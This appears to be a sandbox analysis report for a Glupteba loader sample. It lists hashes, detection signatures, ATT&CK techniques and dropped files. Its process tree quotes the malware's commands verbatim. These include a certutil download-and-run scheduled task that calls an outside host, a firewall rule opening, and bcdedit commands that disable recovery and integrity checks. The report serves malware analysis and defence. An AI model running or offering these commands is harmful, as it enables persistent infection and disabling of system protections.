glupteba | f98cd274386ef966648db3d0c5c8b09e6833cf04931116ed5374989e419f3077

Analysis

max time kernel
0s
max time network
132s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
05/02/2024, 21:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
9318e5cf71ad9673b85ee4f916aab022.exe
Size 4.4MB
Sample240205-1ta9ssbbgl
SHA256 f98cd274386ef966648db3d0c5c8b09e6833cf04931116ed5374989e419f3077
MD5 9318e5cf71ad9673b85ee4f916aab022
SHA1 48fe502b109fee5df082ac7faace1fe385478f11
SHA512 e246ff5876233518ffce141b3557fc4c3c1511ac19cc62cccfd97a6897dbb638735d64aaba63560c4593109a0eadffa6537db7080b1d410e2da549153dd3d728
SSDEEP 98304:4ELoLpH/sE2wG7UlfzmO2yXJXUtxlKD9PYRfdrhY/VqT7Pze/:holkE1G7UZzmDyXD6drhYL/
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

glupteba metasploit backdoor dropper evasion loader ransomware trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 18 IoCs

resource	yara_rule
behavioral1/memory/1868-2-0x0000000004CD0000-0x00000000055F6000-memory.dmp	family_glupteba
behavioral1/memory/1868-3-0x0000000000400000-0x00000000030F2000-memory.dmp	family_glupteba
behavioral1/memory/1868-4-0x0000000000400000-0x00000000030F2000-memory.dmp	family_glupteba
behavioral1/memory/1868-7-0x0000000004CD0000-0x00000000055F6000-memory.dmp	family_glupteba
behavioral1/memory/2720-9-0x0000000000400000-0x00000000030F2000-memory.dmp	family_glupteba
behavioral1/memory/2720-19-0x0000000000400000-0x00000000030F2000-memory.dmp	family_glupteba
behavioral1/memory/1468-238-0x0000000000400000-0x00000000030F2000-memory.dmp	family_glupteba
behavioral1/memory/1468-240-0x0000000000400000-0x00000000030F2000-memory.dmp	family_glupteba
behavioral1/memory/1468-241-0x0000000000400000-0x00000000030F2000-memory.dmp	family_glupteba
behavioral1/memory/1468-242-0x0000000000400000-0x00000000030F2000-memory.dmp	family_glupteba
behavioral1/memory/1468-243-0x0000000000400000-0x00000000030F2000-memory.dmp	family_glupteba
behavioral1/memory/1468-244-0x0000000000400000-0x00000000030F2000-memory.dmp	family_glupteba
behavioral1/memory/1468-245-0x0000000000400000-0x00000000030F2000-memory.dmp	family_glupteba
behavioral1/memory/1468-246-0x0000000000400000-0x00000000030F2000-memory.dmp	family_glupteba
behavioral1/memory/1468-247-0x0000000000400000-0x00000000030F2000-memory.dmp	family_glupteba
behavioral1/memory/1468-251-0x0000000000400000-0x00000000030F2000-memory.dmp	family_glupteba
behavioral1/memory/1468-304-0x0000000000400000-0x00000000030F2000-memory.dmp	family_glupteba
behavioral1/memory/1468-334-0x0000000000400000-0x00000000030F2000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Modifies boot configuration data using bcdedit 1 TTPs 14 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
952	bcdedit.exe
1020	bcdedit.exe
2292	bcdedit.exe
572	bcdedit.exe
788	bcdedit.exe
2408	bcdedit.exe
2956	bcdedit.exe
2156	bcdedit.exe
2864	bcdedit.exe
2300	bcdedit.exe
972	bcdedit.exe
412	bcdedit.exe
1472	bcdedit.exe
2056	bcdedit.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2440	netsh.exe

Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
evasion

Impair Defenses
T1562

Command and Scripting Interpreter
T1059

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
108	schtasks.exe
2192	schtasks.exe

GoLang User-Agent 3 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	31	Go-http-client/1.1
HTTP User-Agent header	43	Go-http-client/1.1
HTTP User-Agent header	30	Go-http-client/1.1

C:\Users\Admin\AppData\Local\Temp\9318e5cf71ad9673b85ee4f916aab022.exe
"C:\Users\Admin\AppData\Local\Temp\9318e5cf71ad9673b85ee4f916aab022.exe"
1⤵
PID:1868
- C:\Users\Admin\AppData\Local\Temp\9318e5cf71ad9673b85ee4f916aab022.exe
  "C:\Users\Admin\AppData\Local\Temp\9318e5cf71ad9673b85ee4f916aab022.exe"
  2⤵
  PID:2720
- - C:\Windows\system32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    PID:2372
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:2440
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe /124-124
    3⤵
    PID:1468
  - - C:\Windows\system32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
      4⤵
      Creates scheduled task(s)
      PID:108
  - - C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
      "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
      4⤵
      PID:1508
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:952
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2292
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -timeout 0
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:572
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:788
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2408
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2956
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2156
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2864
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2300
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:972
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:412
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1472
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2056
  - - C:\Windows\system32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:2192
  - - C:\Windows\system32\bcdedit.exe
      C:\Windows\Sysnative\bcdedit.exe /v
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1020
  - - C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
      4⤵
      PID:2068
  - - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
      4⤵
      PID:768

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240205215609.log C:\Windows\Logs\CBS\CbsPersist_20240205215609.cab
1⤵
PID:2668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

download.error

Path C:\Users\Admin\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\AAF33CF37E194E98957768CF9C02DE8E2\download.error
Size 106KB
SHA256 fd44524a68d33b2fe05dbbebd1f006216b995623a9d45c64e8b933817d980537
MD5 9013d6e3b0b2476fe7e5bdf8ad534193
SHA1 3f2f6d05e77db239a522353557521ff120a7bd81
SHA512 946a00ad55131f8b3ff55bb32500e12bdf5d9a16e65dc3307b51e848b7f08ddde2fe800c0eaf402e0eee9c43677799a37b937cd1ee77d2ffc3af6018a3cf8de9
SSDEEP 3072:01f8nSY6k6k6peeLZJxWYF/YA9llolXL88JxZ9JTGD:9SY6k6k6peetvWYF/Y8khxZ9JTw
MD5 SHA1 SHA512 SSDEEP

Submit Download

download.error

Path C:\Users\Admin\AppData\Local\Temp\Symbols\winload_prod.pdb\768283CA443847FB8822F9DB1F36ECC51\download.error
Size 125KB
SHA256 35d0e02e14d7fb68785ed86b8514ce449003de17265db47b2791fa5c9b8aedac
MD5 eac631ece2612dd18122991b7b2ce401
SHA1 18b58b5daeb00c06cf9d67758c648beeb3beab81
SHA512 2817fca92edbf6bba21c2b02d28ad795d70883cb4822a13a70114c315134ad40de44765c4755996a7ba593543c360a8eec1dc3ea05fcb9db7b4e4d0252afdbca
SSDEEP 3072:yQO3MRhMzV3iSDi7loqi2iDqiMPxOYU6DI3:8i9U6M3
MD5 SHA1 SHA512 SSDEEP

Submit Download

dsefix.exe

Path C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
Size 94KB
SHA256 414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0
MD5 d98e78fd57db58a11f880b45bb659767
SHA1 ab70c0d3bd9103c07632eeecee9f51d198ed0e76
SHA512 aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831
SSDEEP 1536:KNSuvn3R+Vjj3d38uezp0Dw+49tKMgVxAlIi8:ah+Vjj3d38uezp0U9vgLAy
MD5 SHA1 SHA512 SSDEEP

Submit Download

injector.exe

Path C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
Size 111KB
SHA256 8a93c8e3e5b14f5d069df9fdb702d60524d9075ac81ac7f04677278cae6c409a
MD5 4cbbc53a37baafa6a05cc02e0bd47742
SHA1 bcce378eab1a11c360468ea0781dc09ed6778a67
SHA512 a8baf23bd5cabd7998536d6797e09885a3061ec27815f708e6e4e69c786854268ba162f5dd7d5abac6f9d875c01ce5faf2c4880580c58b5a396813c79c80caa7
SSDEEP 1536:qbHe9ldfDaOH358g52HHF79ahJx9uSyL6eF0y+JjkEk:qbHszDaOJ8u2HHFIWr6e29kB
MD5 SHA1 SHA512 SSDEEP

Submit Download

patch.exe

Path C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Size 111KB
SHA256 19351f265f2dbfd582a1e4a33eb8f1b00bd97b185becc02111fbb14081da48d1
MD5 d0f132d5e19c53ff0c465f134cee10c2
SHA1 55a754cc60c300265999a6326a24e56d73c3c3fc
SHA512 bfe7a9bef4e91765867988a4d6b90d5390505585ba8d99823381a16182ba5b618edc575002d6975662751ea3bb3400b615dc3a8d30fee4990d8c4b9765310884
SSDEEP 3072:aDYE0IkKlnalYoY1m6ydQuprenFn39gFlsJon96sPYX:XE0JKlnalNYvRuBenx9gFlsJA9P0
MD5 SHA1 SHA512 SSDEEP

Submit Download

ntkrnlmp.exe

Path C:\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Size 92KB
SHA256 51e509f6f154fa45c508e3ff114934ce640d800efcc6b817dc8dd1083c1906ce
MD5 326d1d5466e7a31056d5c9e281242851
SHA1 92df6612cd3c6d79c6a18fc1a52a40ca41874ce7
SHA512 1617a257bcc3eefcfa02b4047bdedd12bb20c4de4339d826c4f8996162b9458743b028ff5c6590627143aa107e8aa6294df05481a2d57e673cf376b86a00eb46
SSDEEP 1536:c1QWSMKbJNRxn3vuV/HraCc81uKeeA5Cto2N0l1kMQrD1T0NtrROn2YpuHwBk6C:iQzM4n/KuPquKdA8trN0gMQiNttYX6
MD5 SHA1 SHA512 SSDEEP

Submit Download

osloader.exe

Path C:\Users\Admin\AppData\Local\Temp\osloader.exe
Size 138KB
SHA256 b8312718532e2e4957f267f4a7dbdf4e39582ef5e8fae99875c3a95611c4af5f
MD5 7095c9cac8ca76b7447f04cfd01e69f2
SHA1 8dc7960ed17ff4f8e9aff85ba64b269ea38e2e25
SHA512 0afab8f9b1d902638f72399390acc92caa7a6b77f51a90745cc576ce5326a0e6523bb51c52a9e7d4748b2ee5575befccc141a2c8a41d64312c557173688ee0cd
SSDEEP 3072:QfnFGW4/YAqS/GvJgwW+ZENPyrQwFrsS8l4PtmVDe:Qd3Q107lZ1cwtsx41mxe
MD5 SHA1 SHA512 SSDEEP

Submit Download

94308059B57B3142E455B38A6EB92015

Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
Size 53KB
SHA256 011ed39b0f16d3280e9a99611d9a6f700ac154277607eb817e9bc2543147d03e
MD5 23daf07249585f9e9910301576f98a95
SHA1 9d695fc9f3bc9591286f28087d0f3378db4cea44
SHA512 8077e9f9fd0e846ee16b4bef4545cad5264753643cc9f24409f251c2a07189088e7cb4ff08a488835e0b911ecd34d49397ff0856cafe3538f51d8e05122198a3
SSDEEP 1536:drFvD2YSE/sFDqV0FJJynkAhftCvMd3coa282frgW1qt:drVDJSeaDqV0FJwLhVkr282fk
MD5 SHA1 SHA512 SSDEEP

Submit Download

F0ACCF77CDCBFF39F6191887F6D2D357

Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357
Size 1KB
SHA256 df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e
MD5 a266bb7dcc38a562631361bbf61dd11b
SHA1 3b1efd3a66ea28b16697394703a72ca340a05bd5
SHA512 0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc
MD5 SHA1 SHA512

Submit Download

94308059B57B3142E455B38A6EB92015

Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Size 344B
SHA256 d668e81208cbef1888f54548f0aa934f00dd5ff26727d3ca2b95d5557c0892bc
MD5 8d031f1a3a37cf0dbbc657e5fad872e0
SHA1 5bb94276e53d53c5e094dd914d6c21f553f49fcb
SHA512 8871f633212f458e4535182ecaf9a84d5feb135af2d69c8002a8a4f689ce6128c4a78d8ce4e4157f6a860fc2be04461b9d6f56b218afd14e31998390294c43ce
MD5 SHA1 SHA512

Submit Download

94308059B57B3142E455B38A6EB92015

Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Size 344B
SHA256 ad93dd0cba0580056ccc8e9e336597dd1e88c4fa908c0725428c7625e9c66cc1
MD5 857aabf9027ba1d50fc1359bb4b97a5d
SHA1 4ddcfd0e0bff787275bfb4655b8ddd3289f809af
SHA512 ddc8df5d8d594cf1c9787e16e6128a174ba4175e59696eb87ead657c5d2bb9391a3ac48448d512d949988632785262a70642593d275d25424f04907c62c50c29
MD5 SHA1 SHA512

Submit Download

94308059B57B3142E455B38A6EB92015

Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Size 344B
SHA256 c3679afce048542b8778c03f9cdc0ab748dc16623ff1eb7b0be578fec87012af
MD5 6c9d7e78b932c1e868c60360ed063760
SHA1 ebcf8c7a1c68668cc07d7e1101e6f17ce55fe696
SHA512 acc66b45656146da55d56dd3dd4a8bd8e6c7d30f2ee446d532700b0e19c7f898a5a0174a282171901cd6a412725a191079bfd56d6e138a5f2842aca6ed399a01
MD5 SHA1 SHA512

Submit Download

F0ACCF77CDCBFF39F6191887F6D2D357

Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357
Size 242B
SHA256 d41a7b4bcf8be85d5557625ff8b4c6f04beda6fe7dcfd1d3615c55fe86603ae8
MD5 292b18ead58067bfeb1ff4eead3ab40e
SHA1 4c3b0cdf0e7fd97391b17550253c92984e919772
SHA512 416a4ef6235532aa22dbe8416b265969cee58f0f7e85eb1b2459f4a85730665368d9457ff981066903861256a947a2e21c2641cd4f62a8f13d002d3bfc1d7d99
MD5 SHA1 SHA512

Submit Download

Tar1BFE.tmp

Path C:\Windows\Temp\Tar1BFE.tmp
Size 108KB
SHA256 9ecb837232acfac66a915c2a2ce6d2e1552867f2cf5c8f23bda1eb4eed54a4ef
MD5 728c6ea5f3b5c2829a7331e0df6918cd
SHA1 1ba0d500dfa649ff91ca8e4db337d9f9ec4dc4e7
SHA512 c1e44e66eac1ad27dc5aa9e624ef22d251ac2b2e373b677e1335f94db73d95aa37127c26e5cba70a1f060941b66599f0ca591f2dbe122fd170ef1e9a798d343f
SSDEEP 1536:+AuJ+lCUs0RvWqgCyPW5BXNWdm1wpyru2/h:+9J+q0RuXCyfdmAyru2/h
MD5 SHA1 SHA512 SSDEEP

Submit Download

csrss.exe

Path C:\Windows\rss\csrss.exe
Size 297KB
SHA256 cb400454ac4fc7b3472c3cd4492dc445d59872617cb4f1fc116238b7443582cd
MD5 098a53f20ac8a9e327ee0825583137f6
SHA1 819fefe952c3849a2c6eec4e437745a171ce6e65
SHA512 74c83f06c09b769c606d4a967ceee10d694deaacf539dc257a567361053e31d0945c2f54d713ed3fb76c9df75e3067f463dad06d6e9a20f0ca673581f4513153
SSDEEP 6144:p2HAbxcsY+6i7YNM37R2NEROedO7iNb0WKtCwbv1yT:p2TsYkYeRPg7iNb0NXsT
MD5 SHA1 SHA512 SSDEEP

Submit Download

csrss.exe

Path C:\Windows\rss\csrss.exe
Size 98KB
SHA256 5a103817a0713ac1c56d93a331bedc0e43fc502783d9b8d147e62c0ad6f27e53
MD5 3bd7950f1458854f528e14f99f44067a
SHA1 1b5f7841bd90e55d5b06481dc715a34e4d10e008
SHA512 cc25dd6ccbdfd630de619dd0f91f1963c999a2db1985104184a0df289ccee2be6f86fcb0984cf7ec2a625a2fe5d6e30bf52584120d90251172e36b5171582976
SSDEEP 1536:p8tCoO05+Q7C67/5ZUo49hndTzTs5LnGwZGlPDt5+jTp+sFu4B7U:p2+yd149dxgZGwZGl7wV+6Ro
MD5 SHA1 SHA512 SSDEEP

Submit Download

csrss.exe

Path C:\Windows\rss\csrss.exe
Size 293KB
SHA256 c2c7c9e154a507a1dcfe4f6d8a76fe907b12c430202bf2af2d7170aa4b710eed
MD5 f1f46c724f5747e7bb5bfa637b7f8944
SHA1 0e53fbb015b2f0c4fe1c33de988d21400890fc1e
SHA512 3024925e332b58bcb6d1c2b08b77e30d2fa109d15b351a90eff9cf260b0fa43879cc52403d89dfa526a2f0c90fc8dcd5bc88d4c5cdb88454c637941da1983e2e
SSDEEP 6144:p2HAbxcsY+6i7YNM37R2NEROedO7iNb0WKtCwbv1yJ:p2TsYkYeRPg7iNb0NXsJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

injector.exe

Path \Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
Size 159KB
SHA256 e2f996337ec546ff5defb55ad1eb085f3d88ee966a467ebde9dc8606b50335c5
MD5 ae58442e1c6422f7a327557fc021acc8
SHA1 549545d9c05da87174a2893b9a50d6da27fbf46c
SHA512 25b23c8ff173f1a0464548154d637a904299588d4be98c820a816aafda299d2e7a4ba7539416a2d6eb362e71e52286cf2333d0da6f721bc8818f596649b14682
SSDEEP 3072:qbHszDaOJ8u2HHFIWr6e29kOnK7qFQ8wMii5s:SA3IlIA6e29vngqS8wMg
MD5 SHA1 SHA512 SSDEEP

Submit Download

patch.exe

Path \Users\Admin\AppData\Local\Temp\csrss\patch.exe
Size 75KB
SHA256 9692dd03e7c61caa07067daee3b5c8a9b45b8b1abf2018c68509ff9c8da1e112
MD5 25aac86b890d5037457c487faa62b2f2
SHA1 2a48eb397867a5596384862425c128cbab504a58
SHA512 139a11263b30c8f255e700b5490a03188271f5c354be9c6712af8984cc25c19896144113ca5306260c8c9b9277421cf8e4c2b65fcf868eaf6cec899c094e255c
SSDEEP 1536:s3lRTYMF0IdqK5dfBwIalYoUYqoymH+kgylZFQuqKren:aDYE0IkKlnalYoY1m6ydQupren
MD5 SHA1 SHA512 SSDEEP

Submit Download

dbghelp.dll

Path \Users\Admin\AppData\Local\Temp\dbghelp.dll
Size 22KB
SHA256 7f97e95d0cb5cbb0a3afbbd9fe6f7aecb612c11c831e5bfaec94a6b51809fae3
MD5 4083cac81ae5198f3cf4031790ecbdf3
SHA1 4883e2f21c500599ee8f58432e17ddc62ece18b4
SHA512 161fce0dc3b2a2ca4b25448ec41e68e6e0b9faf5fe31840cee3d219ce337dcd07063bf6f8fba0cc558aa091dd388bc6048f11a139b5ea9c908b59efa2eb68004
SSDEEP 384:/kgwNpbOMG8PereOiZpTMzYdO90MqmlGqhflT2JZFhqmbvqk:/kgcpQ8Psg6h0FZFomrqk
MD5 SHA1 SHA512 SSDEEP

Submit Download

ntkrnlmp.exe

Path \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Size 41KB
SHA256 76e49658337dacf7f30a525f2eb9be1000480c63714bbd4f2e57463ca42efbf4
MD5 8961440d2d11d7d64dcf565e81d735f1
SHA1 ce9b6ae8d272bed36128cfbcfea9169a0c9d86c2
SHA512 85b329d584a630d51d7e8f1eccf2d1d3963ea44bb661a1ced9a2ddd658ebfdf9a2750ce4478bc613af3d382c9a5ada8f07abe05abe6f052002109a7f2e903f13
SSDEEP 768:k3IO1diWSvQLxK9SQtEgzeYJNRxVV3aDgx4V/4SrraFw+vH8Oar33yPM:c1QWSMKbJNRxn3vuV/HraCc81T
MD5 SHA1 SHA512 SSDEEP

Submit Download

ntkrnlmp.exe

Path \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Size 69KB
SHA256 3bcb362343086fbd636e8129f36b79cac14154d1b6d0db794d7daa9ffcc79450
MD5 b407d93540f6350997b2631aa29512d2
SHA1 324fc72f83641afd87790fd8206d096ab26b4775
SHA512 dbe53a3d7d49f5244d221aa11f32c1aa65fbc0053cf9612841a6cc90146216b74e7c71ed9e942dc020fdf7f6be709c905e2265ef211c56be1848dbbf7c77d82d
SSDEEP 1536:c1QWSMKbJNRxn3vuV/HraCc81uKeeA5Cto2N0l1kMQrt:iQzM4n/KuPquKdA8trN0gMQZ
MD5 SHA1 SHA512 SSDEEP

Submit Download

ntkrnlmp.exe

Path \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Size 130KB
SHA256 68d43f88c0f03a70b2e236953c0d6f85a0621afec1887c02b69cf04e84ffac4c
MD5 73e1d38e3bb15fb29cc0aaed214323a4
SHA1 fb4dd9e3e7931110b23fb36309adfdf8dde34100
SHA512 0763b060a5a0d3348dceb51f029c5b2bb848c6b9e7bbffae5949d5abde6996652923cb7873c67f4acfc7eb260874dc2907158fb6bccd453707f4dc5cefbf80f9
SSDEEP 3072:iQzM4n/KuPquKdA8trN0gMQiNttYXTZH9SWvcYcOEnxDstO:l5/Kk18tWPf8ZH9FvgxL
MD5 SHA1 SHA512 SSDEEP

Submit Download

osloader.exe

Path \Users\Admin\AppData\Local\Temp\osloader.exe
Size 30KB
SHA256 a95a3dfb7028f1d0cd999fb77fd33ffe94dd230f628dbb4ec9e2141e59a1879f
MD5 7fd858ca6405b3789565b9a89037f3d2
SHA1 6d1663729a5cfa1d58a15b1dcdfb087d33ac3cda
SHA512 434c7cb64e8d167f027d0f836294fd9ae3b0769448919eee4ebe4c8b34128f5a23e8638ff6ba6171fb9957be86d28e5585ec6b8f29c502a256f348e354073dad
SSDEEP 768:7EJpT/lM1WiMBdj/whGb5xVQWnHH8SxMIPHMxLZ9G:QJd19F5EWRsl6
MD5 SHA1 SHA512 SSDEEP

Submit Download

osloader.exe

Path \Users\Admin\AppData\Local\Temp\osloader.exe
Size 74KB
SHA256 2cc3995c12a2257af96e6498991eef2dbede2bb25cacbf354566d2d39c3c357c
MD5 310b2166820d63ebad064bcab188fe1c
SHA1 0307813e91cb4df3c4fae036427c17846a9e2b00
SHA512 a1a5365956f6af290a0bba68f26a9653eeac171fd25c86a8dd3c0ea9623c2127821c5a81d8f00c9fe31a8e1561e885a72bc112fb852c09e546f50f35088a0a09
SSDEEP 1536:QJd19F5EWRsl0yFx7OIYs7+NAo/tk/YPvJzm4ZYiPybveYyFX99x:QfnFGW4/YAqS/GvJgw5
MD5 SHA1 SHA512 SSDEEP

Submit Download

osloader.exe

Path \Users\Admin\AppData\Local\Temp\osloader.exe
Size 141KB
SHA256 dcc3ac9b950e90fe389e75893274ae5a2b7610224e1913eef3a7759f3613145d
MD5 d31c817827f5c3d5565554b3802f4e90
SHA1 3cc2981be8cc29abe4391bd2ee18fabf429930da
SHA512 d47866a2d603efefc257ae4de319c13d29bc6501dff8034d05165701720e635769dc7cdacd7e2a7963f2d17b1b54624d97fb69b6885b2ad173d3b0fa39d285aa
SSDEEP 3072:QfnFGW4/YAqS/GvJgwW+ZENPyrQwFrsS8l4PtmVDOw:Qd3Q107lZ1cwtsx41mxOw
MD5 SHA1 SHA512 SSDEEP

Submit Download

symsrv.dll

Path \Users\Admin\AppData\Local\Temp\symsrv.dll
Size 163KB
SHA256 e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
MD5 5c399d34d8dc01741269ff1f1aca7554
SHA1 e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA512 8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
SSDEEP 3072:XFg2VNLKO+Qgd/T0hexf+fs7ketCv5mQTeKBSccrfjZDDwvI:XFg2TLT+h9xf+f+c4fVDEI
MD5 SHA1 SHA512 SSDEEP

Submit Download

csrss.exe

Path \Windows\rss\csrss.exe
Size 388KB
SHA256 bc9ace05a8afff486409202621363365549acb315a70982d4d168c4254cccda3
MD5 8f20f1aa9f3db6f31f028a3c7f19adb3
SHA1 3bb92055eeeee7c134a9b1100f074e2c3262c034
SHA512 7bfd47600309faf19184b04db3523bdfd2013be2eaba1f2af99b81c90b08c010a8c13471682475723de629c1dd80f70664f444ec03c001bf0a8e45e101ef483b
SSDEEP 6144:p2HAbxcsY+6i7YNM37R2NEROedO7iNb0WKtCwbv1yotGcddX22P:p2TsYkYeRPg7iNb0NXsoLB
MD5 SHA1 SHA512 SSDEEP

Submit Download

csrss.exe

Path \Windows\rss\csrss.exe
Size 446KB
SHA256 909a54bb6f6892f487ae3893f2febdb3acff45957243b68230f0c817cdcb856b
MD5 95f756557c39818e8f55f624c07bf9ed
SHA1 b0ffb0b077069ee007ea6f5b5de2a5834768fed4
